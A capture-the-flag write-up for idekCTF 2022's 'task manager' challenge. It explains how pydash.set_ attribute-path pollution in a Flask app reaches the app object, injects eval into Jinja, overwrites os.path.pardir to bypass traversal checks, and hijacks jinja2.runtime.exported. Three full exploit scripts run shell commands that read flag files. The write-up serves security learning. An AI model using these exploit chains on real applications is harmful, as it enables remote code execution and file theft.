idekctf 2022* task manager wp
This challenge is quite like a python version of prototype pollution, you can also say that it uses some idea from pyjail, over all, it’s a really interesting one.
Let’s have a look of the source:
app.py
from flask import Flask, render_template, request, redirect
from taskmanager import TaskManager
import os
app = Flask(__name__)
@app.before_first_request
def init():
if app.env == 'yolo':
app.add_template_global(eval)
@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
task, status = request.json.get('task'), request.json.get('status')
if not task or type(task) != str:
return {"message": "You must provide a task name as a string!"}, 400
if len(task) > 150:
return {"message": "Tasks may not be over 150 characters long!"}, 400
if status and len(status) > 50:
return {"message": "Statuses may not be over 50 characters long!"}, 400
if not status:
tasks.complete(task)
return {"message": "Task marked complete!"}, 200
if type(status) != str:
return {"message": "Your status must be a string!"}, 400
if tasks.set(task, status):
return {"message": "Task updated!"}, 200
return {"message": "Invalid task name!"}, 400
@app.route("/api/get_tasks", methods=["POST"])
def get_tasks():
try:
task = request.json.get('task')
return tasks.get(task)
except:
return tasks.get_all()
@app.route('/')
def index():
return redirect("/home.html")
tasks = TaskManager()
app.run('0.0.0.0', 1337)
taskmanager.py
import pydash
class TaskManager:
protected = ["set", "get", "get_all", "__init__", "complete"]
def __init__(self):
self.set("capture the flag", "incomplete")
def set(self, task, status):
if task in self.protected:
return
pydash.set_(self, task, status)
return True
def complete(self, task):
if task in self.protected:
return
pydash.set_(self, task, False)
return True
def get(self, task):
if hasattr(self, task):
return {task: getattr(self, task)}
return {}
def get_all(self):
return self.__dict__
The code is quite simple, the author built a flask app on top of pydash.set_
, which is a advanced version of setattr
but supports to set a variable by its path.
e.g.
>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}
Accessing app
As there is nothing much could be use, it’s a good idea to find out a way to access app.py
. With pydash.set_()
, we can make it happen using some special variables just like we usually do in ssti and pyjail:
pydash.set_(
TaskManager(),
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
'xxx'
)
Adding eval
to jinja globals
Let’s have a look back at app.py
, and it’s not hard to find some strange codes:
@app.before_first_request
def init():
if app.env == 'yolo':
app.add_template_global(eval)
We just got the access to app.py
, which means app.env
could be modified to anything we want. If we could make the code above run again, we could invoke eval
function in templates and then trigger rce. Luckily, after some digging, I just found it’s possible by settting app._got_first_request
to False
.
Triggering eval
With eval
in jinja globals, the next question is how can we invoke it. We all know that jinja recognise variables by {{.*}}
, what if we changed it? In app.jinja_env
, we could find two properties with the value of {{
and }}
named variable_start_string
and variable_end_string
, which means we could mark any code we want, including eval(.*)
, as a jinja variable.
Bypassing jinja directory traversal check
eval
could only be invoked by ssti, but the html files under templates
directorry is obviously not usable. So we have to find a way to bypass jinja directory traversal check to render any file we want.
From the jinja source
we could tell that jinja uses os.path.pardir
to check directory traversal, but we could change pardir
to something else to bypass it.
exp
By far, we’ve got everything we need to get a rce, the final step is to find a file with eval(.*)
in it and modify variable_start_string
and variable_end_string
properties. I first tried using app.py
, but jinja could not parse it properly as I ended up constructing a form in {{ eval{# #}(.*) }}
, which is not a valid expression. But we just have the directory traversal check bypassed, why not jumpping out of the chellenge files and find something in python lib instead? And the final choice is turtle.py
:
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'
# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})
# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
Unintended sol
To begin with, let’s have a look at the Dockerfile
first:
RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt
...
COPY . .
Which means the Dockerfile
itself is copied into the container with flag written on it, so it’s a easier way to get flag by reading Dockerfile
instead of rce.
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../Dockerfile'
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
RCE by jinja2.runtime.exported
https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager
In the source of jinja we know that the rendering function acctually invokes environment.from_string
, which then invokes environment.compile
and returns a code
object generated by __builtins__.compile
. The code
object endded up be execed, if we could control the code
object, we get rce.
After some debugging, we could find a variable named exported_names
is added into the source code and latter compiled into the code
object. And it’s not hard to find that it’s a string array in jinja2.runtime, so we could change it by pydash.set_()
and get rce:
import requests, re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'
payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''
# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})
# trigger rce
requests.get(f'{base_url}/home.html')
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)